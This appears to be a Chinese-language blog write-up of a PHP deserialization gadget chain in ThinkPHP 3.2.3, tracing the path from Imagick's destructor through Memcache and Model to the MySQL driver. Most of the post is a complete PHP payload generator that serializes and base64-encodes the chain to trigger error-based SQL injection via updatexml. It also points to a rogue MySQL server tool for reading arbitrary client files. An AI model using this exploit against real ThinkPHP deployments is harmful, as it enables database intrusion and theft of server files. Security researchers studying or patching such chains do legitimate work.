前言

ThinkPHP3.2.3目前只有一条链,而且不是直接RCE的。
利用方式有两种:
一种是SQL注入,一种是任意文件读取。

POP链

条件:PHP5

全局搜索__destruct()函数,这里的$this->img 可控,可以利用其来调用其他类的destroy() 方法,或者可以用的__call() 方法,__call() 方法并没有可以利用的。
ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

全局搜索function destroy
ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

这里destroy()函数是有参数的,而我们调用的时候没有传参,这在php5中只会发出警告,可以执行。但是在php7会报错误。

继续寻找可利用的delete()方法

SQL注入

条件:需要知道当前数据库账号、密码、端口号😅

payload

<?php
namespace Think\Image\Driver;
use Think\Session\Driver\Memcache;
class Imagick{
    private $img;
    public function __construct(){
        $this->img = new Memcache();
    }
}

namespace Think\Session\Driver;
use Think\Model;
class Memcache {
    protected $handle;
    public function __construct(){
        $this->sessionName=null;
        $this->handle= new Model();
    }
}

namespace Think;
use Think\Db\Driver\Mysql;
class Model{
    protected $pk;
    protected $options;
    protected $data;
    protected $db;
    public function __construct(){
        $this->options['where']='';
        $this->pk='jiang';
        $this->data[$this->pk]=array(
            "table"=>"mysql.user where 1=updatexml(1,concat(0x7e,user()),1)#",
            "where"=>"1=1"
        );
        $this->db=new Mysql();
    }
}
namespace Think\Db\Driver;
use PDO;
class Mysql{
    protected $options ;
    protected $config ;
    public function __construct(){
        $this->options= array(PDO::MYSQL_ATTR_LOCAL_INFILE => true );   // 开启才能读取文件
        $this->config= array(
            "debug"    => 1,
            "database" => "mysql",
            "hostname" => "127.0.0.1",
            "hostport" => "3306",
            "charset"  => "utf8",
            "username" => "root",
            "password" => "root"
        );
    }
}

use Think\Image\Driver\Imagick;
echo base64_encode(serialize(new Imagick()));

任意文件读取

这里可以连接任意数据库服务器,所以还有一种利用方式,就是MySQL恶意服务端读取客户端文件漏洞

https://github.com/rmb122/rogue_mysql_server/

参考

https://xz.aliyun.com/t/9441